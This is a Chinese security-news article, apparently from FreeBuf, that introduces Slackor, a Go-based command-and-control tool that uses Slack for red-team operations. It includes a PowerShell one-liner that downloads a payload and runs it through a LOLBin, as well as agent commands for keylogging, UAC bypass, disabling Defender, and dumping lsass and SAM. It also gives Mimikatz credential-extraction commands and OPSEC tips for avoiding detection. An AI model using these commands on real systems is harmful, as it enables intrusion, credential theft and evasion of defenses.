Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Slackor:Go语言写的一款C&C服务器

Slackor:Go语言写的一款C&C服务器

作者头像
FB客服
发布于 2019-09-17 05:06:30
发布于 2019-09-17 05:06:30
1.8K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

该项目的灵感来自Gcat和Twittor。

编译

注意:服务器是用Python 3编写的

为此您需要准备

1.Slack工作区

2.并为slack应用设置以下权限:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
channels:read
channels:history
channels:write
files:write:user
files:read
创建一个机器人
代码语言:javascript
代码运行次数:0
运行
复制

这个仓库包含五个文件:

install.sh 安装依赖 setup.py 用于创建通道,数据库的脚本 agent.py 用于生成后门的脚本 server.py Slackor服务器,在Linux上运行 agent.go golang后门 requirements.txt Python依赖

如何开始:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
go get github.com/Coalfire-Research/Slackor

cd $GOPATH/src/github.com/Coalfire-Research/Slackor

install.sh

setup.py
代码语言:javascript
代码运行次数:0
运行
复制

为您的应用程序提供OAuth token

成功运行脚本后,脚本将在dist/目录中创建几个文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
agent.windows.exe:Windows 64位二进制文件
agent.upx.exe:Windows 64位二进制文件,UPX打包
agent.darwin:macOS 64位二进制文件
agent.32.linux:Linux 32位二进制文件
agent.64.linux:Linux 64位二进制文件
代码语言:javascript
代码运行次数:0
运行
复制

server.pyLinux主机上启动后,

运行stager模块以生成单线程和其他dropper。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
代码语言:javascript
代码运行次数:0
运行
复制

这将执行InvokeWebRequest(PS v.3 +)以下载payload,使用LOLBin执行它

用法

输入help或按[TAB]查看可用命令列表。输入help [COMMAND]以查看该命令的描述。

Slackor

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
help - 显示帮助菜单
interact - 与代理交互
list - 列出所有已注册的代理商
remove - 杀死并删除代理
revive - 向所有代理发送信号以重新注册服务器
stager - 生成单行程序以下载执行植
quit - 退出程序
wipefiles - 从Slack中删除所有上传的文件
代码语言:javascript
代码运行次数:0
运行
复制

代理进入后,您可以与其进行交互。使用interact [AGENT]进入代理提示符。输入help或按[TAB]查看可用命令列表。

Slackor:AGENT

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
- 常用命令
  - back  - 返回主菜单
  - beacon - 更改代理每次登记之间的时间(默认为5秒)
  - download- 将代理程序中的文件下载到Slackor服务器
  - help - 显示帮助菜单
  - kill  - 杀死进程
  - sleep - 代理睡眠一次时间(以秒为单位输入时间)
  - sysinfo- 显示当前用户,操作系统版本,系统体系结构和CPU核心数
  - upload - 从Slackor服务器上传文件到代理
  - wget - 通过HTTP / HTTPS下拉任意文件
- Windows命令
  - bypassuac - 生成代理
  - cleanup - 删除持久化操作
  - clipboard - 检索剪贴板的内容
  - defanger - 去除Windows Defender
  - duplicate - 使代理生成另一个自身调用
  - getsystem - 将代理生成为NTAUTHORITY / SYSTEM
  - keyscan - 在代理上启动键盘记录器
  - minidump - 从lsass.exe转储内存并下载
  - persist - 通过在ADS中植入二进制文件来创建持久性
  - samdump - 尝试转储SAM文件以进行脱机哈希提取
  - screenshot - 获取桌面的屏幕截图
  - shellcode- 执行x64原始shellcode
- Mac命令
- Linux命令
  - screenshot - 获取桌面的屏幕截图

OPSEC注意事项

除Slack的TLS传输加密外,命令输出和下载的文件都是AES加密的。

模块将在执行写入磁盘的任务之前发出警告。执行shell命令时,请注意cmd.exe/ bash将执行。这可以在主机上监控。以下是几个不执行cmd.exe/的OPSEC安全命令bash

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
- cat - 打印文件内容
- cd - 更改目录
- find - 搜索目录文件名
- getip - 获取外部IP地址(发出DNS请求)
- hostname - 显示主机的名称
- ifconfig - 显示接口信息
- ls - 列出目录内容
- mkdir - 创建目录
- pwd - 打印当前工作目录
- rm - 删除文件
- rmdir - 删除目录
- whoami/getuid - 打印当前用户

未来的目标

1.DOSfuscation 2.反复加载DLL / PE - https://github.com/vyrus001/go-mimikatz 3.在内存中执行C#程序集 - https://github.com/lesnuages/go-execute-assembly 4.源代码混淆https://github.com/unixpickle/gobfuscate

常问问题

这对红队/测试使用是否安全?

是的,考虑到一些条件。当数据在传输过程中加密时,代理包含用于解密的密钥。获取代理副本的任何人都可以对其进行反向工程并提取API密钥和AES密钥。任何妥协或以其他方式获得对工作区的访问权限的人都能够检索其中的所有数据。因此,不建议针对多个组织重用基础结构。

Mimikatz怎么样?

植入物没有内存中的密码转储功能。如果您需要logonPasswords,可以尝试以下操作:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(Slackor: AGENT)minidump
代码语言:javascript
代码运行次数:0
运行
复制

这将使用Pypykatz自动提取密码。或者,您可以在Windows上使用Mimikatz。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords

它是跨平台的吗?

它的跨平台支持有限。它尚未在可以运行的所有系统上进行全面测试。该服务器旨在在Kali Linux上运行。代理程序是针对Windows,Mac和Linux编译的,但主要是使用Windows 10进行测试。代理程序可能会错误处理该代理程序平台不支持的命令(不要尝试对Mac进行小型化)。

它的规模如何?

可伸缩性受Slack API的限制。如果您有多个代理,请考虑增加未使用的信标的信标间隔。

它是否容易受到标准信标分析的影响?

目前,每个信标都内置了20%的抖动,并且可以定制信标时间。只要没有收到新命令,代理登记请求和响应数据包每次大小大致相同。

它被杀软发现!

现在这是开源的,它必然会有问题。我们会尽可能地修复模块,但无法保证这将始终绕过所有AV。

参考来源:GitHub,FB小编周大涛编译,转载请注明来自FreeBuf.COM

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-09-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Android插件化原理解析——Hook机制之Binder Hook
Android系统通过Binder机制给应用程序提供了一系列的系统服务,诸如ActivityManagerService,ClipboardManager, AudioManager等;这些广泛存在系统服务给应用程序提供了诸如任务管理,音频,视频等异常强大的功能。
weishu
2018/09/05
1.9K0
Activity启动过程
Activity作为Android四大组件中使用最频繁的组件,也是和用户交互最多的组件,可见它在Android技术体系的核心地位,了解Activity的启动过程可以帮助我们更好的了解Android系统和使用Activity。
八归少年
2024/03/11
3420
Android Hook 机制之简单实战
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/gdutxiaoxu/article/details/81459830
程序员徐公
2018/09/17
3.1K0
Android Hook 机制之简单实战
Android新增LED设备--从底层到上层理解安卓架构
为了更好的理解安卓的层次关系,本文在RK3399的安卓系统上增加LED灯的外设,并使用APP打开关闭LED灯。以这样一个最简单的实例,来演示从上层到底层的调用过程。首先从最底层的kernel层开始。
Jasonangel
2021/08/26
2.9K0
Android新增LED设备--从底层到上层理解安卓架构
图解 | 一图摸清Android系统服务
在日常开发中,可以通过Context.getSystemService()在自己的应用程序里获取到系统服务:
Holiday
2020/10/29
8030
图解 | 一图摸清Android系统服务
[Android][Framework] 添加系统服务
做系统开发,有时候需要自己定义一些接口供App使用, 同时为了方便维护管理,就会需要自己建立一个服务,把新的功能集中在一起。下面就是新建一个系统服务的基本步骤。
wOw
2020/01/20
1.1K0
[Android][Framework] 添加系统服务
做系统开发,有时候需要自己定义一些接口供App使用, 同时为了方便维护管理,就会需要自己建立一个服务,把新的功能集中在一起。下面就是新建一个系统服务的基本步骤。
wOw
2018/09/15
1.5K0
如何实现一个 System Services?
《Android 系统开发做什么?》写到 Android System Services 是专注于特定功能的模块化组件,应用框架 API 所提供的功能可与系统服务通信,以访问底层硬件。Android System Services 是如何写的?来以DisplayManagerService 为例,具体来看看。
吴小龙同學
2021/12/20
1.2K0
如何实现一个 System Services?
Android应用启动过程详解
当用户在启动器上点击应用图标时,启动器会发起启动请求。这通常通过调用startActivity()方法实现,该方法的参数包括一个Intent对象,表示要启动的Activity。此时,启动器会将启动请求传递给系统的ActivityManagerService(AMS)进行处理。
陆业聪
2024/07/23
3500
Android应用启动过程详解
Android系统启动——6 SystemServer启动
SystemServer是Android系统的核心之一,大部分Android提供的服务都运行在这个进程里,SystemServer中运行的服务总共有60多种。为了防止应用进程对系统造成破坏,Android的应用进程没有权限直接访问设备的底层资源,只能通过SystemService中的代理访问。通过Binder,用户进程在使用SystemService中的服务并没有太多不便变之处。
隔壁老李头
2018/08/30
3.4K2
Android系统启动——6 SystemServer启动
Android系统之System Server大纲
System Server是android 基本服务的提供者,是android系统运行的最基本需求,所有server运行在一个叫system_process的进程中,system_process进程是android java虚拟机跑的第一个进程,从Zygote 创建而来,是andorid系统最重要的java虚拟机。可以说,整个android系统的业务都是围绕system server而展开,所以,当system_process死掉了,手机必须重启。
233333
2024/07/02
2610
Android系统服务(一)解析ActivityManagerService(AMS)
相关文章 Android系统启动流程系列 Android应用进程系列 Android深入四大组件系列 前言 1.概述 AMS是系统的引导服务,应用进程的启动、切换和调度、四大组件的启动和管理都需要AMS的支持。从这里可以看出AMS的功能会十分的繁多,当然它并不是一个类承担这个重责,它有一些关联类,这在文章后面会讲到。AMS的涉及的知识点非常多,这篇文章主要会讲解AMS的以下几个知识点: AMS的启动流程。 AMS与进程启动。 AMS家族。 2.AMS的启动流程 AMS的启动是在SyetemServer进程
用户1269200
2018/02/01
1.9K0
Android系统服务(一)解析ActivityManagerService(AMS)
浅入浅出 Android 安全:第四章 Android 框架层安全
如我们在第1.2节中所描述的那样,应用程序框架级别上的安全性由 IPC 引用监视器实现。 在 4.1 节中,我们以 Android 中使用的进程间通信系统的描述开始,讲解这个级别上的安全机制。 之后,我们在 4.2 节中引入权限,而在 4.3 节中,我们描述了在此级别上实现的权限实施系统。
ApacheCN_飞龙
2022/12/01
5200
Android12 应用启动流程分析
最近因为一些需求,需要梳理 Android 应用的启动链路,从中寻找一些稳定的锚点来实现一些特殊的功能。本文即为对应用端启动全过程的一次代码分析记录。
evilpan
2023/02/12
1.4K0
Android12 应用启动流程分析
Android APP启动流程
startActivityForResult方法通过mInstrumentation对象调用execStartActivity,Instrumentation主要用来监控应用程序和系统的交互。mMainThread其实是一个ActivityThread对象,实际上就是Launcher这个应用的ActivityThread,在Launcher启动时初始化。
ruochen
2021/12/15
3.5K0
Android中Context用法详解学习
Android中Context用法详解学习 本文我们一起来探讨一下关于Android中Context的作用以及Context的详细用法,这对我们学习Android的资源访问有很大的帮助,文章中也贴出
用户1289394
2018/02/26
1.4K0
Android中Context用法详解学习
Android系统启动流程(三)解析SyetemServer进程启动过程
前言 上一篇我们学习了Zygote进程,并且知道Zygote进程启动了SyetemServer进程,那么这一篇我们就来学习Android7.0版本的SyetemServer进程的启动过程。 1.Zygote启动SyetemServer进程 在上一篇文章中我们讲到在ZygoteInit.java的startSystemServer函数中启动了SyetemServer进程,如下所示。 frameworks/base/core/java/com/android/internal/os/ZygoteInit.jav
用户1269200
2018/02/01
1.2K0
Android系统启动流程(三)解析SyetemServer进程启动过程
Android 安全之框架层安全(四)
继续Android安全系列之介绍,继续学习框架安全!本系列内容比较多,需要一步步的跟进。上期学习了android 用户空间层安全介绍,下篇继续介绍android framwork层安全。
开发者技术前线
2020/11/23
1.1K0
Android 安全之框架层安全(四)
相关推荐
Android插件化原理解析——Hook机制之Binder Hook
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验